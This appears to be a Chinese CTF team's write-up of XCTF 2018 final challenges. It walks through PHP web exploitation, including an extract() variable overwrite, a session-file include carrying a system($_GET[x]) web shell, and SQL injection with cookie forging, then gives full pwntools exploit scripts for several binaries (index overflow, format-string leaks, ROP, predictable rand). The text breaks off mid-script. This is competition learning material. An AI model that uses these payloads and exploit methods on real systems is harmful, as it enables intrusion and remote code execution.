Team: De1ta
题目打包链接:https://raw.githubusercontent.com/De1ta-team/CTF_Challenges/master/XCTF2018_Final_Challenges.zip
今年我们De1ta在前面一半XCTF联赛分站赛都没有参加的情况下,以后几场分站赛总积分排名第19勉强挤进XCTF总决赛(感谢r3kapig的大佬们抬了一手),最终我们解题排名第六,攻防排名第九,总分排名第九,给队内所有师傅递茶!tql
顺便打个小广告:De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
just try it!
http://10.99.99.16
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
从index.php可以看出$_GET['function'] 和 $_SESSION['name'] = $_POST['name'] 可控
其中call_user_func($func,$_GET);回调函数可利用
而且include($file);调用了文件包含
所以,可以调用变量覆盖函数,覆盖掉$file,从而引入文件包含
payload:
http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php
一开始只是highlight_file给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。
吐槽点:早上题目的环境是php7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。
调用session_start函数,修改session的位置
从index.php可以看出$_SESSION['name'] = $_POST['name'],session的值可控,session默认的保存位置为
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
由于ini_set('open_basedir', '/var/www/html:/tmp'),我们包含不了/var/lib/下的session
但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/下
这里可以调用session_start函数,修改session的位置
这里直接把session写到了web根目录,并且内容可控
再利用变量覆盖,调用文件包含,即可get shell
http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2
payload:
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
name=<?php echo "aaa";system($_GET[x]);?>
GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
flag:flag{best_H4cker_in_xctf}
chi ji ma?host: 159.138.2.46:8888 http://guaika.txmeili.com:8888/kss_admin/index.php
hint1:先找源码,题目环境正在修复。 Try to find the source code first, the author is fixing the challenge environment.
hint2:题目环境已更新http://guaika.txmeili.com:8888/a.php,验证码看不到的可以访问这个159.138.22.212; Challegen environmen has been updated, http://guaika.txmeili.com:8888/a.php, if you have problem with authorize code, please access to 159.138.22.212
验证码在 http://guaika.txmeili.com:8888/a.php
扫描目录,发现源码 http://guaika.txmeili.com:8888/www.zip
部分文件使用了ZEND/PHP5.2加密,解密工具:https://pan.baidu.com/s/1eQjnVGm ,选择“PHP 5.2 NM 解码”,解密后变量名还是有点乱,可以用 http://www.zhaoyuanma.com/phpzendfix.html 进行变量名的修复。
在/kss_inc/payapi_return.php 中发现存在SQL注入:
SerialNo参数可以进行盲注:
使用sqlmap可以拖出数据,需要加option --risk 3 --level 5 --string="易付通URL签名不正确"
因为在默认的risk(1)和level(1)下sqlmap会跳过对or型盲注的检测
--string的作用为
拖出数据,构造cookie获得admin权限。根据/kss_inc/db_function.php iZSVk4mLkY函数逻辑构造cookie中的kss_manager,根据/kss_inc/function.php jZKVlY6Hk函数逻辑构造cookie中的kss_manager_ver
kss_manager=1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef
kss_manager_ver=md5(kss_manager.COOKKEY)
efefefef是/kss_inc/db_function.php中的后门linecode值,COOKKEY的值可以在/kss_inc/_config.php中找到。从而我们可以登录管理后台。
接下来考虑如何getshell。在/kss_admin/中存在升级功能,
跟进该函数,发现其使用了回调函数read_body
read_body函数使用了file_put_contents函数将curl的返回结果写入/kss_tools/_webup.php
如果我们能够控制curl的返回内容,我们就能实现getshell
我们看到url里拼接的变量是可控的:
在http://api.hphu.com/test/kss_admin/index.php 有一套demo,同时,在/kss_inc/function.php可以看到SQL注入过滤函数i4mIkpO,其中对SQL敏感字符过滤的部分:
可以看到,该过滤函数会将有敏感字符的部分直接回显,利用这个函数,结合可控的拼接到url的变量,我们可以控制curl http://api.hphu.com 某个文件的返回内容getshell
那么,我们全局查找一下使用了该函数的文件,发现很多文件都用了该函数,例如/kss_admin/admin_logs.php
尝试构造:
写shell:
getflag:
flag:flag{@_n1ce_s1ng@p0r3tr1p:)}
PS:附上队内@aye 师傅的Web wp:
baby php:https://www.jianshu.com/p/7d63eca80686
PUBG:https://www.jianshu.com/p/bad7af1a631c
nc 10.99.99.16 29999
这道题是用clang编译的,用了safestack
审了一遍,发现get_int函数能在safestack上面溢出,但是并没有什么用,利用不了
menu这个格式化字符串漏洞非常明显,但是只能用来leak,因为检测了有没有n这个字母
最后审出来的是下标溢出漏洞,基本存在于每个有用到下标的地方
我们用update来解释下
首先get_int会读取一个数字,然后判断是否大于256,但是v1其实是可以为负数
例如v1 = 0xf0000001,这个在程序里面判断的是一个小于0的数
然后在下面&books[64 * v1 + 2] 这个地方
v1*64= 0xf0000001 <<8 = 0x00000100
这样就能bypass它的v1<256这个检查
那么能用来干什么呢?
很明显可以去写libc的malloc_hook或者free_hook,还可以去写栈,直接rop
最后选择了直接去写栈,不过因为栈地址会变,所以我限制了一下栈地址的范围,不然写着写着会报错
下面是简单的payload
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('./no-bof')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
e=ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p=remote('10.99.99.16', 29999)
e=ELF('./x32_libc-2.19.so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
ru('Your input: ')
sl('4 %47$p%26$p')
ru('Your choice is:4 ')
data=ru('\n')
ru('Your input: ')
libc=int(data[:10],16)
stack=int(data[10:20],16)
if debug:
base=libc-0x18637
else:
base=libc-0x19AD3
book=0x84978E4
'''
binsh=base+e.search('/bin/sh').next()
offset=(binsh-book)>>8
offset+=0
target=book+offset*0x100+8
offset+=0xf0000000
offset=offset-0x100000000
print(hex(target))
print(hex(binsh))
print(hex(target-base))
print(hex(base))
sl('5')
ru('which book do you want to print?')
sl(str(offset))
'''
offset=(stack-book)>>8
target=book+offset*0x100+8
if stack-target<0x2c or stack-target>0x5c:
exit()
offset+=0xf0000000
offset=offset-0x100000000
binsh=base+e.search('/bin/sh').next()
system=base+e.symbols['system']
sl('2')
ru('which book do you want to update?')
sl(str(offset))
ru('Book title: ')
sl('\x00'*(stack-0x2c-target)+p32(system)+p32(binsh)*2)
ru('Book price: ')
sl('1')
p.interactive()
nc 10.99.99.16 19999
这道题感觉有点坑爹,首先随便审了一下main函数,发现好像有一个任意执行
但是后面却发现,这里根本利用不了........
题目有这些功能
下面来解释一下这些功能
input original raw text
简单的读255字节到bss段
input paper form text
选择写入哪一个paper,然后读取
content: 255个字节
title: 31个字节
description: 127个字节
再用strlen来得到content的长度,写进结构体的第四个字节处
input book form text
选择写入哪一个book,然后读取
content: 255个字节
title: 31个字节
description: 255个字节
再用strlen来得到content的长度,写进结构体的第四个字节处
export book to paper
选择将哪个book复制到哪个paper
具体是,将book的content的size写到paper的content的size处
然后
memcpy( paper's content, book's content, 0xff);
memcpy( paper's title, book's title, 0xff);
memcpy( paper's description, book's description, 0xff);
这里就漏洞的所在点,这里能溢出到下一个paper的size和content
export paper to book
和上一个功能差不多,不多说了
proofread input material with raw text
首先计算了某个paper或book的content和 raw_content有前多少个字节相等
然后让你猜大概前多少个字节相等
假如你猜的前n个字节是相等的,那么它就会用strncmp来判断,返回的结果是相等的话,就会打印栈上读进来content的前n个字节
这里的漏洞就是利用了strncmp是用于字符串判断相等的,假如我们content和raw content 都是空的,这里也会返回判断相等
但是n的话可以是一个很大的数,这样就能leak出栈上的内容
delete
首先会在栈上开辟book或paper结构体大小的空间
然后再memcpy到上面,最后memset原来的内存
但是这里它忘记判断content的size的大小,直接就memcpy上去了,所以就造成栈溢出了
所以利用链大概是
下面是比赛的时候写的payload,可能不太简洁,凑合着看吧
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('./reder')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('10.99.99.16',19999)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def input_raw(x):
sl('1')
ru('please input your raw text')
sl(x)
ru('>')
def inn(idx,id,content,title,desc):
sl(str(idx))
ru('Where you want to edit/input?')
sl(str(id))
ru('please input content')
se(content)
ru('input your title')
se(title)
ru('input your description\n>')
se(desc)
ru('>')
def export(idx,id1,id2):
sl(str(idx))
ru('Which book you want to export')
sl(str(id1))
ru('where you want to output')
sl(str(id2))
ru('>')
def mexit():
sl('q')
ru('Are you sure you want to exit?(y/n)')
sl('n')
ru('>')
sl('6')
ru('what do you want to proofread?')
sl('1')
ru('which one you want to proofread?')
sl('1')
ru('how many words you assume are same?')
sl('400')
ru('\x00'*0x108)
data=ru('\n')[:-1]
pbase=u64(data[:8])-0x138F
libc=u64(data[-8:])
if debug:
base=libc-0x20830
else:
base=libc-0x21F45
ru('>')
inn(3,1,'a'*0xff,'b'*0x1f,'c'*0x80+p32(0)+p32(0x300)+cyclic(0x77))
inn(2,2,cyclic(1),'q'*0x1f,cyclic(1))
payload='a'*120+p64(pbase+0x203000+0x100)+cyclic(8)+p64(pbase+0x203000+0x100)+'a'*8+p64(base+0x4647c)
inn(3,3,cyclic(0xff),'b'*0x1f,payload)
export(4,1,1)
export(4,3,2)
sl('7')
ru('what do you want to delete?')
sl('1')
ru('which one you want to delete?')
sl('2')
print(hex(pbase))
print(hex(libc))
p.interactive()
hint:无线射频频谱 radio frequency spectrum
使用cool edit pro2打开文件,在"查看"一栏选择"光谱显示窗"即可看到flag
flag:flag{756e69636f726e}
hint:芯片型号pt2242,24位有效数据 pt2242 chipset, 24 bits of valid data
pt2242是固定码芯片
通过inspectrum(https://github.com/miek/inspectrum)这个工具来分析信号
结合https://www.freebuf.com/articles/wireless/146781.html 教程,可以调出:
其中,高电平长的为1,低电平长的为0
00000001011110100101100
转16进制为flag,17A59
吐槽一下,一开始出题人没说flag是16进制大写,害得我们试了好久,还以为方法错了
flag:17A59
捕获到一份受干扰的信号文件,万幸的是被干扰的部分只是数据校验部位,必须要根据仅剩的信号还原出全部数据(十六进制)
hint1:http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(射频文件解码后的数据)
http://ingelect.esy.es/pdf/FXTH871x7.pdf 20959185b1115208(data of decoded spectrum file)
hint2:We have updated the challenge information, add English description as below: We captured a disturbed signal file, fortunately, only the checksum has been disturbed, you should recover all the data according to the remaining signals(hex).
在github上搜索FXTH871x7,找到这个:
猜测校验位置是crc
计算出crc16
拼接到数据后面得到flag
flag:20959185b1115208133f
漏洞其实挺明显的,首先gou那个函数 有一个格式化字符串漏洞,可以leak一些地址,利用%x%x%x%lx能leak到一个ld.so附近的地址
在gou函数那里,它还会让你猜3个byte的随机数,如果强行爆破的话是不行的,因为概率是1/(256256256)
但是格式化字符串漏洞%x%x,第二个leak出来的东西是猜中的数量,所以利用这个就可以爆破出来,爆破最多256*3次就行了
爆破完之后到gang那个函数有一个任意读,利用上面leak的ld.so附近的地址,可以leak出canary,因为canary会在那附近存一下
任意读完之后,有一个栈溢出,利用栈溢出就可以进行rop来get shell
这里还有一个坑点就是,本地ld.so和libc.so的偏移和服务器的不同,后面强行爆破了一波
from pwn import *
import re
debug=1
#context.log_level='debug'
e=ELF('./libc-2.23.so')
if debug:
p=process('./pubg')
else:
p=remote('192.168.20.11',20001)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def choose(x,s):
ru('> ')
sl(str(x))
ru('which one is your favorite?')
sl(str(s))
ru('> ')
def gou(x,con=False):
sl('2')
ru('Maybe you can get an airdrop. Tell me your position:\n')
sl(x)
if not con:
data=ru(' has')[:-4]
ru('> ')
return data
else:
ru('> ')
def gang(x):
sl('1')
ru('Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:')
sl(str(x))
ru('The ')
cookie=ru(' ch')[:-3]
cookie=cookie[:15]
payload=cyclic(40)+'\x00'+cookie+p64(base+0x4526a)+'\x00'*0x100
sl(payload)
def brute():
secert=''
for i in range(3):
for q in range(1,256):
if chr(q)=='$' or chr(q)=='*' or chr(q)=='n':
continue
if gou(secert+chr(q)+'%x%x')[i+3]==str(i+1):
secert+=chr(q)
break
return secert
choose(1,1)
libc=int(gou('%x%x%x%lx')[5:],16)
tbase=libc-0x5D3700
if debug:
base=tbase
else:
base=libc-0x5D3700-0x4000-0x16000
secert=brute()+'\00'
context.log_level='debug'
gou(secert,True)
gang(tbase+0x5D3728+1)
ru('icken is on your plate, enjoy it~')
p.sendline('cat flag')
flag=ru('\n')
p.interactive()
这题相对简单点,所以就做了这题,不过这题出得有点恶心,能搅屎..........
首先题目有3个选项
首先先来说下第一个功能
Double Dice Game
它会rand三个数,然后让你去猜,假如说你没进第三个功能,那么一开始就是srand(0)的,因此这三个数是固定的
如果三个数都成功猜中,它会让你输入5byte,但实际是4byte的密码,然后读取flag,用输入的密码加密,加密的方法是tea加密
加密完之后,它会判断是否存在一个 /tmp/qualiii 这个文件,如果存在的话就会返回上一层
不存在的话,它会创建并将flag写入到其中,然后sleep,sleep完之后,如果文件还存在的话,就会打印加密后的flag
Triple Dice Game
这里分为3个部分
第一个函数会首先srand(time(0)) 然后再rand了三个字母,第二个函数打印这三个字母,然后第三个函数是读取的,读取然后之后判断输入是否正确
如果正确的话,会进到最后一个函数
这里还是让你猜3个数,猜中之后
能删除 /tmp/qualiii这个文件
Combination Game
前面是猜字母加猜数字
猜中之后,能打印出/tmp/qualiii的内容
下面是一个简单的payload,没人竞争的时候能读出flag,至于怎么心机的利用这几个功能去搅屎和反搅屎,这里就不多说了.......(策略太多了
from pwn import *
import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')
debug=1
context.log_level='debug'
if debug:
p=process('./randbattle')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('192.168.20.13',20003)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
import sys
from ctypes import *
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0xc6ef3720)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1
w[0] = y.value
w[1] = z.value
return w
def tdice():
sl('2')
ru('case2')
if debug:
LIBC.srand(LIBC.time(0))
else:
LIBC.srand(LIBC.time(0)-20)
s=[LIBC.rand()%26+65 for _ in range(3)]
w=''
for i in s:
w+=chr(i)
w+='\x00'
se(w)
ru('num:')
sl(str(LIBC.rand()%3))
ru('num:')
sl(str(LIBC.rand()%3))
ru('num:')
sl(str(LIBC.rand()%3))
ru('Your choice:')
def ddice():
sl('1')
ru('num:')
sl(str(LIBC.rand()%6))
ru('num:')
sl(str(LIBC.rand()%6))
ru('Set your pass:')
se('\x00'*5)
ru('Here is your gift:\n')
flag=ru('C U')[:-3]
flag=flag.split(':')
flag=[chr(int(i,16)) for i in flag]
w=''
for i in flag:
w+=i
t=[]
key=[0,0,0,0]
flag=''
for i in range(0,len(w),